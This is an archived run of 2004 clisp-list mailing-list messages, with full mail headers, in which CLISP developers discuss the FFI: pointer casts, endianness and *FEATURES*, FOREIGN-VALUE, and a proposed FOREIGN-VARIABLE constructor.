Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: FFI and C-POINTERs Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 5 07:00:07 2004 X-Original-Date: Thu, 05 Aug 2004 09:59:21 -0400 > * Hoehle, Joerg-Cyril [2004-08-05 12:09:31 +0200]: > > (setf (cast i 'c-pointer) m) OK, thanks. (let ((m (c-malloc 4)) ret) (unwind-protect (with-c-var (v '(c-ptr (c-array uint8 4))) (setf (cast v 'c-pointer) m) (with-c-var (i '(c-ptr uint32)) (setf (cast i 'c-pointer) m) (setq i 0) (push v ret) (setq i (1- (ash 1 32))) (push v ret) (setq v #A((unsigned-byte 8) (4) (1 2 3 4))) (push i ret)) (nreverse ret)) (c-free m))) (#A((unsigned-byte 8) (4) (0 0 0 0)) #A((unsigned-byte 8) (4) (255 255 255 255)) ;; the following depends on endianness #.(+ (ash 4 24) (ash 3 16) (ash 2 8) 1)) since here we see that the answer depends on endianness, I propose adding :LITTLE-ENDIAN or :BIG-ENDIAN to *FEATURES*. > BTW, what are you trying to achieve? Pascal asked this first. > BTW2, I just inspected http://clisp.cons.org/impnotes/dffi.html and > found that it doesn't mention FOREIGN-VALUE It's the setf'able > function to get/set values pointed to by # > objects. More manipulations are available via WITH-C-PLACE. when is FOREIGN-VALUE useful? why is it exported? i.e., i know that is it used behind the scenes in WITH-C-PLACE, WITH-C-VAR, DEF-C-VAR, ELEMENT, DEREF, SLOT, CAST, OFFSET, C-VAR-OBJECT, C-VAR-ADDRESS, TYPEOF, SIZEOF, BITSIZEOF, but when is it used standalone? as for compile-time type parsing, why not use (define-compiler-macro parse-c-type (typespec &optional (name nil) &whole form) (if (constantp typespec) (parse-c-type typespec name) ; parse at compile time form)) ; decline: parse at run time -- Sam Steingold (http://www.podval.org/~sds) running w2k A slave dreams not of Freedom, but of owning his own slaves. From sds@gnu.org Thu Aug 05 07:36:34 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BsjM9-00087O-QJ for clisp-list@lists.sourceforge.net; Thu, 05 Aug 2004 07:36:33 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BsjM9-0006aV-CD for clisp-list@lists.sourceforge.net; Thu, 05 Aug 2004 07:36:33 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i75EaIs2014960; Thu, 5 Aug 2004 10:36:20 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20040804172012.6276D4DA27@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Wed, 4 Aug 2004 19:20:12 +0200 (CEST)") References: <20040804172012.6276D4DA27@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: loop finally compound+, not compound* ! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 5 07:37:01 2004 X-Original-Date: Thu, 05 Aug 2004 10:36:17 -0400 > * Pascal J.Bourguignon [2004-08-04 19:20:12 +0200]: > > Low priority, but for ANSI comformance, the LOOP macro should expect > at least one compound form after FINALLY. > > (loop for i from 1 to 10 finally return i) > is parsed and accepted as: > (loop for i from 1 to 10 finally (values) return i) > but it should be rejected. actually, it is parsed as (loop for i from 1 to 10 finally (return i)) but I see your point. -- Sam Steingold (http://www.podval.org/~sds) running w2k ((lambda (x) `(,x ',x)) '(lambda (x) `(,x ',x))) From Joerg-Cyril.Hoehle@t-systems.com Thu Aug 05 07:45:52 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BsjV9-0001Nl-M4 for clisp-list@lists.sourceforge.net; Thu, 05 Aug 2004 07:45:51 -0700 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BsjV9-0007XT-2N for clisp-list@lists.sourceforge.net; Thu, 05 Aug 2004 07:45:51 -0700 Received: from g8pbq.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 5 Aug 2004 16:45:38 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 5 Aug 2004 16:45:43 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0301106B2D@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] AW: FFI and C-POINTERs Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 5 07:46:13 2004 X-Original-Date: Thu, 5 Aug 2004 16:45:42 +0200 Sam wrote: >(let ((m (c-malloc 4)) ret) > (unwind-protect [...] > (c-free m))) That's what WITH-... (the foreign stack allocators) are for. I wouldn't want to review code with such a construct in it. I hope it was just to setup an example?!? > (with-c-var (i '(c-ptr uint32)) > (setf (cast i 'c-pointer) m) > (setq i (1- (ash 1 32))) > (push v ret) That's the ugliest piece of Lisp(is that Lisp?) code I've seen in ages! >since here we see that the answer depends on endianness, >I propose adding :LITTLE-ENDIAN or :BIG-ENDIAN to *FEATURES*. I see no need. Better add interfaces to ntohl() etc. if that's needed for networking (is the problem at all about networking??) >> BTW, what are you trying to achieve? >Pascal asked this first. I haven't seen where. If you mean >- Same questions for the (FFI:C-ARRAY (2) FFI:UINT16)? then I believe he has enough elements to the solution now. I suppose Pascal is amid UFFI, but I haven't seen more context. >when is FOREIGN-VALUE useful? why is it exported? > [...] but when is it used standalone? I consider it part of a layered API which the current impnotes does not yet reflect. When you work at a level where FOREIGN-VARIABLE becomes visible and useful, then FOREIGN-VALUE is your friend. Of course, one can easily switch to a higher level using WITH-C-PLACE to operate using the higher-level API, which is currently the only one to export SLOT, ELEMENT, CAST etc. In my experience, code written using the higher-level API is a little shorter since it doesn't need an explicit FOREIGN-VALUE. Conversion is implicit. However, certain things are not possible using the higher-level API, e.g. store a foreign-variable (i.e. a reference) object somewhere, instead of a Lisp copy. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Thu Aug 05 07:48:57 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BsjY9-0001vM-G2 for clisp-list@lists.sourceforge.net; Thu, 05 Aug 2004 07:48:57 -0700 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BsjY8-000854-Nh for clisp-list@lists.sourceforge.net; Thu, 05 Aug 2004 07:48:57 -0700 Received: from g8pbq.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Thu, 5 Aug 2004 16:48:44 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 5 Aug 2004 16:48:49 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0301106B2E@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: bruno@clisp.org MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] FFI internal c-type representation (was: FFI and C-POINTERs) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 5 07:49:26 2004 X-Original-Date: Thu, 5 Aug 2004 16:48:49 +0200 Hi, Sam wrote: >as for compile-time type parsing, why not use >(define-compiler-macro parse-c-type (typespec &optional (name >nil) &whole form) > (if (constantp typespec) > (parse-c-type typespec name) ; parse at compile time > form)) ; decline: parse at run time IMHO that's too aggressive. It works for simple cases, but does not consider complex DEF-C-TYPE or DEF-C-STRUCT. I was rather thinking about using LOAD-TIME-VALUE, expecting types to be defined no later than that time, but found the xyz-time requirements of FFI completely unspecified. More precisely: when/where must DEF-C-TYPE/STRUCT occur? My thoughts about safe optimization were along a compile-time PARSE-C-TYPE trial that would only recognize simple cases (e.g. arrays etc. of primitive types, but no named structures). These can be inlined at compile-time. The internal c-type-representation can become a complex object, possibly with circularities (not sure) and also contain function objects IIRC, in which case compile-time inlining is better avoided. Summary: 0. internal representation can become quite complex. Don't test with just uint32 and (c-ptr (c-array uint16 2)). 1. trivial c-types are inlineable at compile-time 2. more (all the others??) are inlineable at load-time 3. unclear whether compile-time gives clear an advantage over load-time, considering possible drawbacks. 4. "trivial" is yet to be defined. x. Need implementation notes about compile/run-time environment or interaction with DEF-C-TYPE or DEF-C-STRUCT. Regards, Jorg Hohle. From sds@gnu.org Thu Aug 05 08:19:11 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bsk1P-0007H3-Fl for clisp-list@lists.sourceforge.net; Thu, 05 Aug 2004 08:19:11 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1Bsk1O-0003lt-Tu for clisp-list@lists.sourceforge.net; Thu, 05 Aug 2004 08:19:11 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i75FJ1s2000351; Thu, 5 Aug 2004 11:19:02 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0301106B2D@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Thu, 5 Aug 2004 16:45:42 +0200") References: <5F9130612D07074EB0A0CE7E69FD7A0301106B2D@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: AW: FFI and C-POINTERs Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 5 08:20:01 2004 X-Original-Date: Thu, 05 Aug 2004 11:19:01 -0400 > * Hoehle, Joerg-Cyril [2004-08-05 16:45:42 +0200]: > > Sam wrote: > >>(let ((m (c-malloc 4)) ret) >> (unwind-protect [...] >> (c-free m))) > That's what WITH-... (the foreign stack allocators) are for. > I wouldn't want to review code with such a construct in it. > I hope it was just to setup an example?!? this is an example of a code which receives a pointer from the "outside" (malloc) and then accesses the memory it refers to alternatively as uint32 and int8[4]. >> (with-c-var (i '(c-ptr uint32)) >> (setf (cast i 'c-pointer) m) >> (setq i (1- (ash 1 32))) >> (push v ret) > That's the ugliest piece of Lisp(is that Lisp?) code I've seen in ages! how would you express these conversions? please offer some _code_ which is equivalent to the following C: uint32 i; uint8 *p = &i; p[0] = 1; p[1] = 2; p[2] = 3; p[3] = 4; ASSERT(i == (1<<24) + (2<<16) + (3<<8) + 4); >>since here we see that the answer depends on endianness, >>I propose adding :LITTLE-ENDIAN or :BIG-ENDIAN to *FEATURES*. > I see no need. Better add interfaces to ntohl() etc. if that's needed > for networking (is the problem at all about networking??) IIUC, the result of my form is (let ((m (c-malloc 4)) ret) (unwind-protect (with-c-var (v '(c-ptr (c-array uint8 4))) (setf (cast v 'c-pointer) m) (with-c-var (i '(c-ptr uint32)) (setf (cast i 'c-pointer) m) (setq i 0) (push v ret) (setq i (1- (ash 1 32))) (push v ret) (setq v #A((unsigned-byte 8) (4) (1 2 3 4))) (push i ret)) (nreverse ret)) (c-free m))) ==> (#A((unsigned-byte 8) (4) (0 0 0 0)) #A((unsigned-byte 8) (4) (255 255 255 255)) #+little-endian ; i386 #.(+ (ash 4 24) (ash 3 16) (ash 2 8) 1) #+big-endian ; sparc #.(+ (ash 1 24) (ash 2 16) (ash 3 8) 4)) is this correct? if it is, and a valid CLISP form can produce different results on different hardware, then this calls for a *FEATURES* entry. if it's not, please explain to me what endianness is about. thanks. >>when is FOREIGN-VALUE useful? why is it exported? >> [...] but when is it used standalone? > I consider it part of a layered API which the current impnotes does > not yet reflect. When you work at a level where FOREIGN-VARIABLE > becomes visible and useful, then FOREIGN-VALUE is your friend. > Of course, one can easily switch to a higher level using > WITH-C-PLACE to operate using the higher-level API, which is currently > the only one to export SLOT, ELEMENT, CAST etc. > In my experience, code written using the higher-level API is a little > shorter since it doesn't need an explicit FOREIGN-VALUE. Conversion is > implicit. > > However, certain things are not possible using the higher-level API, > e.g. store a foreign-variable (i.e. a reference) object somewhere, > instead of a Lisp copy. please write this up, with examples, preferably DocBook/XML (but plain text is also good enough) -- Sam Steingold (http://www.podval.org/~sds) running w2k He who laughs last did not get the joke. From Joerg-Cyril.Hoehle@t-systems.com Thu Aug 05 08:39:28 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BskL1-0002kV-VT for clisp-list@lists.sourceforge.net; Thu, 05 Aug 2004 08:39:27 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BskL1-000722-Cm for clisp-list@lists.sourceforge.net; Thu, 05 Aug 2004 08:39:27 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 5 Aug 2004 17:39:20 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 5 Aug 2004 17:38:30 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0301106B47@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] AW: FFI and C-POINTERs Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 5 08:40:06 2004 X-Original-Date: Thu, 5 Aug 2004 17:38:29 +0200 Hi, Sam wrote: >this is an example of a code [...] > then accesses the memory it refers to alternatively as >uint32 and int8[4]. >please offer some _code_ which is equivalent to the following C: As I've said here and there, I'm all in favour of thick bindings (interfaces). I see no need to import into Lisp idiocy from C, like accessing something either as an int or as a char[4], which is crying for portability problems. Therefore there's no need for *features* to support such braindamage. C idiocy is best dealt with at the C level, e.g. in a module. When somebody really (really?) needs it, DEFCONSTANT (little/big-endian-test) is better, since it will not produce CLISP code compiled here to fail there. Regards, Jorg Hohle From Joerg-Cyril.Hoehle@t-systems.com Thu Aug 05 08:54:16 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BskZJ-00067B-9b for clisp-list@lists.sourceforge.net; Thu, 05 Aug 2004 08:54:13 -0700 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BskZI-00054j-LB for clisp-list@lists.sourceforge.net; Thu, 05 Aug 2004 08:54:13 -0700 Received: from g8pbq.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Thu, 5 Aug 2004 17:54:01 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 5 Aug 2004 17:54:06 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0301106B49@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: pjb@informatimago.com MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-15" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] FOREIGN-VARIABLE constructor (was: FFI and C-POINTERs) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 5 08:55:01 2004 X-Original-Date: Thu, 5 Aug 2004 17:54:05 +0200 Hi, I digged out my old FFI hacks toolbox and modified the following = (untested) snippet. It may help Pascal getting UFFI to run. (defun ffi::foreign-address-variable (name address internal-ctype) "This is a gross hack. You are forbidden from using it as soon as CLISP provides equivalent = functionality." (check-type address (or foreign-address foreign-variable = foreign-function)) (check-type name (or null string)) (assert (or (symbolp internal-ctype) (simple-vector-p internal-ctype))) ;;need (setq address (foreign-address address))? (with-foreign-object (x 'c-pointer address) (let ((y (%offset x 0 internal-c-type))) (setf (sys::%record-ref y 0) name) (setf (foreign-pointer y) address) y))) (defun ffi::my-foreign-address-variable (name address ctype) "This is a hack. You are forbidden from using it as soon as CLISP provides equivalent = functionality. Additionaly, this one suffers from not being able to inline = PARSE-C-TYPE." (check-type address (or foreign-address foreign-variable = foreign-function)) (check-type name (or symbol string)) ;;(check-type ctype (or symbol list)) ;;need (setq address (foreign-address address))? (with-c-var (x 'c-pointer address) (let ((y (c-var-object (offset x 0 ctype)))) (setf (sys::%record-ref y 0) name) (setf (foreign-pointer y) address) y))) ;; Note that if you get ignore name you use only exported CLISP = functions/macros in this low-performance case. (defun foreign-variable (address internal-c-type &key name (offset 0)) ;; A constructor with little overhead compared to the above ;; pointer from address ;; offset from address + offset (be careful to preserve pointer-base) ;; name defaults from address's name ;; c-type as given ;; I don't know where I put my notes about foreign-function = interaction ;;To be implemented in the C part of CLISP ) One advantage of using the internal-c-type is that (foreign-variable address (parse-c-type '(xyz)) #) can be optimized. Also, internal c-types can themselves be cached. Also, I had thought whether FFI:CAST would be a good candidate for untyped FOREIGN-ADDRESS -> typed FOREIGN-VARIABLE conversion. Alas, currently CAST (and siblings) only operates on places and their use for the lower-level API I've been talking about has not been defined yet. As I had already chosen FOREIGN-ADDRESS to be both a type and a = constructor, I decided FOREIGN-VARIABLE would follow the same naming = scheme, instead of MAKE-FOREIGN-VARIABLE, which is just another common = idiom. Note that such a constructor which accepts an internal-c-type = representation is therefore part of the lower-level API. I also have a Lisp-level FOREIGN-ADDRESS-FUNCTION constructor, which = has plenty of uses (e.g. cached entries for variable array sizes or = dynamic redeclaration). Regards, J=F6rg H=F6hle From sds@gnu.org Thu Aug 05 09:45:50 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BslNG-0000Va-JL for clisp-list@lists.sourceforge.net; Thu, 05 Aug 2004 09:45:50 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BslNG-0003kE-3E for clisp-list@lists.sourceforge.net; Thu, 05 Aug 2004 09:45:50 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i75Gjes2025444; Thu, 5 Aug 2004 12:45:40 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0301106B49@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Thu, 5 Aug 2004 17:54:05 +0200") References: <5F9130612D07074EB0A0CE7E69FD7A0301106B49@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: FOREIGN-VARIABLE constructor Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 5 09:46:14 2004 X-Original-Date: Thu, 05 Aug 2004 12:45:39 -0400 > * Hoehle, Joerg-Cyril [2004-08-05 17:54:05 +0200]: > > (defun foreign-variable (address internal-c-type &key name (offset 0)) > ;; A constructor with little overhead compared to the above > ;; pointer from address > ;; offset from address + offset (be careful to preserve pointer-base) > ;; name defaults from address's name > ;; c-type as given > ;; I don't know where I put my notes about foreign-function interaction > ;;To be implemented in the C part of CLISP > ) this is what register_foreign_variable() does. would you like to export register_foreign_function() too? > One advantage of using the internal-c-type is that > (foreign-variable address (parse-c-type '(xyz)) #) can be optimized. > Also, internal c-types can themselves be cached. FOREIGN-VARIABLE can just check if the type argument is a list and call PARSE-C-TYPE if necessary. > I also have a Lisp-level FOREIGN-ADDRESS-FUNCTION constructor, which > has plenty of uses (e.g. cached entries for variable array sizes or > dynamic redeclaration). that's register_foreign_function(), right? -- Sam Steingold (http://www.podval.org/~sds) running w2k People hear what they want to hear and discard the rest. From Joerg-Cyril.Hoehle@t-systems.com Thu Aug 05 09:58:00 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BslZ1-0003K8-NB for clisp-list@lists.sourceforge.net; Thu, 05 Aug 2004 09:57:59 -0700 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BslZ1-0002u7-0J for clisp-list@lists.sourceforge.net; Thu, 05 Aug 2004 09:57:59 -0700 Received: from g8pbq.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 5 Aug 2004 18:57:43 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 5 Aug 2004 18:57:48 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0301106B4C@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: FOREIGN-VARIABLE constructor Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: 